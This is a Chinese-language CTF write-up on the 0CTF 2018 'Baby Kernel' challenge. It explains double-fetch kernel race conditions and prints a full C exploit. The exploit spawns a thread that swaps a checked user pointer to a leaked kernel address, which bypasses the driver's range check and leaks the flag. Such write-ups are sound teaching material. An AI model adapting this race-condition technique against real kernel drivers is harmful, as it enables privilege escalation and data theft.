-
-
[原创]Linux Kernel Pwn_1_Double fetch
-
2020-10-3 11:15 5230
-
title: Linux Kernel pwn(1)——Double fetch
date: 2020-09-10 01:35:59
tags: Double fetch
categories: kernel
cover: https://orangegzy.github.io/img/IMG_7050.PNG
Linux Kernel pwn(1) 之Double fetch
咕咕咕了好久,之前做了一个学长出的内核rop,感觉还是学到了很多,今天做一道Double fetch
什么是Double fetch
double fetch漏洞隶属于条件竞争漏洞,但是他特指在一种内核态与用户态之间的数据访问竞争。
以上是一个经典的Double fetch漏洞:
首先,一个用户态线程准备好了数据(preparedata -> user data)
然后通过syscall切入内核态
内核第一次取用数据时进行了安全检查
当检查通过数据后,第二次取用进行真正的使用
问题就在于,如果我们在通过第一次检查之后,也就是在1st fetch与2nd fetch之间,hijack掉user data,那么就会导致内核拿到了错误的数据!在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升
准备工作
首先解包文件系统:
1 2 3 4 | ➜ 2018 0CTF Finals Baby Kernel mkdir core ➜ 2018 0CTF Finals Baby Kernel cd core ➜ core mv .. / core.cpio ➜ core cpio - idmv < core.cpio |
可以看到fs.sh是打包脚本
##
查看开机自启动脚本 core/init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #!/bin/sh mount - t proc none / proc mount - t sysfs none / sys mount - t devtmpfs devtmpfs / dev echo "flag{this_is_a_sample_flag}" > flag / / 可以看到这里有个flag文件 chown root:root flag chmod 400 flag exec 0 < / dev / console exec 1 > / dev / console exec 2 > / dev / console insmod baby.ko chmod 777 / dev / baby echo - e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount / proc umount / sys poweroff - d 0 - f |
查看baby.ko
1 2 3 4 5 6 | __int64 init_module() { _fentry__(); misc_register(&baby); return 0LL ; } |
首先调用misc_register()
注册了一个杂项设备baby。
然后有一个baby_ioctl()
函数,作为用户态与这个设备通信的接口:
_chk_range_not_ok函数
其实就是判断a3是否小于a2+a1.。。用来判断是否越界。
我们再回到caller中看他传进入的到底是什么玩意。
首先是第一个判断.
1 | __int64 v2; / / rdx |
v2是rdx也就是第三个参数,实际传进来的应该是第三个参数的地址。也就是说,判断第三个参数的地址+0x10是否大于¤t_task+0x1358
然后看第二个,v5=v2,相当于是判断是否v5+\(v5+8)大于¤t_task+0x1358
于是感觉这个传进来的第三个参数的地址,应该是一个结构体的地址啊orz
并且结构体的第一或二个位置的元素应该是一个指针
看最后一个取结构体的第二个元素判断是否跟flag等长??那第二个元素应该是一个长度,那么也就是说第一个位置是一个指针。
¤t_task+0x1358
经过我们动态调试:
到达调用► 0xffffffffc03de09b <baby_ioctl+123> call __chk_range_not_ok <0xffffffffc03de000>
可以看到实际上¤t_task+0x1358就是0x7ffffffff000,也就是说,这里实际在判断:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?
只要bypass掉这三个,我们就可以把flag打出来。
然后我们继续向下:
最后到达这里,判断结构体中*(第一个元素+i)是否等于flag[i],看到这里,盲猜这用户空间传来的结构体是如下的结构:
1 2 3 4 | struct user_data{ char * my_flag; int size; } |
漏洞点分析
这个程序乍一看其实没什么问题orz。。实际上是有条件竞争的(内核态与用户态的double fetch)。如果我们先构造一个user_data来通过内核态的验证(此时user_data还是在用户态的,只是把地址送进去了),然后在起一个evil thread来不断劫持用户态的user_data的my_Flag指针指向真正的flag的位置。同时,不停的用ioctl发0x1337进入else if。那么就能通过double fetch的条件竞争bypass内核对my_flag的验证,最后打出来flag即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | #define _GNU_SOURCE #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> int Time = 1000 ; unsigned long long flag_addr; / / 真正的flag的位置 int finish = 1 ; struct usr_data{ char * flag; size_t len ; }; void evil_thread_func(void * a){ / / 传进来的参数是usr_data的地址 printf( "Evil thread trugger!\n" ); struct usr_data * s = a; while (finish = = 1 ){ s - >flag = flag_addr; / / 改他!改他! } }; int main(){ setvbuf(stdin, 0 , 2 , 0 ); setvbuf(stdout, 0 , 2 , 0 ); setvbuf(stderr, 0 , 2 , 0 ); char buf[ 201 ] = { 0 }; char usr_flag[] = "flag{aasdascxcdadwdaw}" ; struct usr_data usr_data; usr_data.flag = usr_flag; usr_data. len = 33 ; int fd; fd = open ( "/dev/baby" , 0 ); / / 打开对应设备 int ret; ret = ioctl(fd, 0x6666 ); / / 发送 0x6666 system( "dmesg | grep flag > /tmp/sir.txt" ); / / 通过dmesg获取printk出来的内核态flag地址 int file_fd = open ( "/tmp/sir.txt" ,O_RDONLY); int id = read(file_fd,buf, 200 ); close(file_fd); char * addr; addr = strstr(buf, "Your flag is at " ); if (!addr){ perror( "error!" ); return - 1 ; } addr + = 0x10 ; flag_addr = strtoull(addr,addr + 16 , 16 ); / / 16 进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址 printf( "[*]flag addr is : %p\n" ,flag_addr); pthread_t evil_thread; pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data); / / 开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容 / / Time = 1000 for ( int i = 0 ;i<Time;i + + ){ ret = ioctl(fd, 0x1337 ,&usr_data); / / 不断地去发 0x1337 进入第二个 if usr_data.flag = usr_flag; / / 保证usr.flag指向用户态的空间 } finish = 0 ; / / 到这里应该已经改完了 pthread_join(evil_thread,NULL); close(fd); printf( "The flag in Kernel is :\n" ); system( "dmesg | grep flag" ); return 0 ; return 0 ; } |
效果:
番外:关于__CFADD__宏
1 2 3 4 5 6 7 8 9 10 11 12 | / / carry flag of addition (x + y) template< class T, class U> int8 __CFADD__(T x, U y) { int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U); if ( size = = 1 ) return uint8(x) > uint8(x + y); if ( size = = 2 ) return uint16(x) > uint16(x + y); if ( size = = 4 ) return uint32(x) > uint32(x + y); return uint64(x) > uint64(x + y); } |
这个玩意出现在这里很奇怪,它相当于是:
负责将a1,a2本来的两个有符号数转成无符号数相加,然后通过他们的CF标志位判断是否溢出(无符号),而比如说同样的int,那么unsigned int肯定在正数范围内能取到的值大于signed int,那么如果你uint都溢出了,那么你的signed int相加必然溢出。
关于这个宏出现在这里的功能也只能这么想了。。
参考
https://www.xuebuyuan.com/541821.html
https://cloud.tencent.com/developer/article/1432392
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法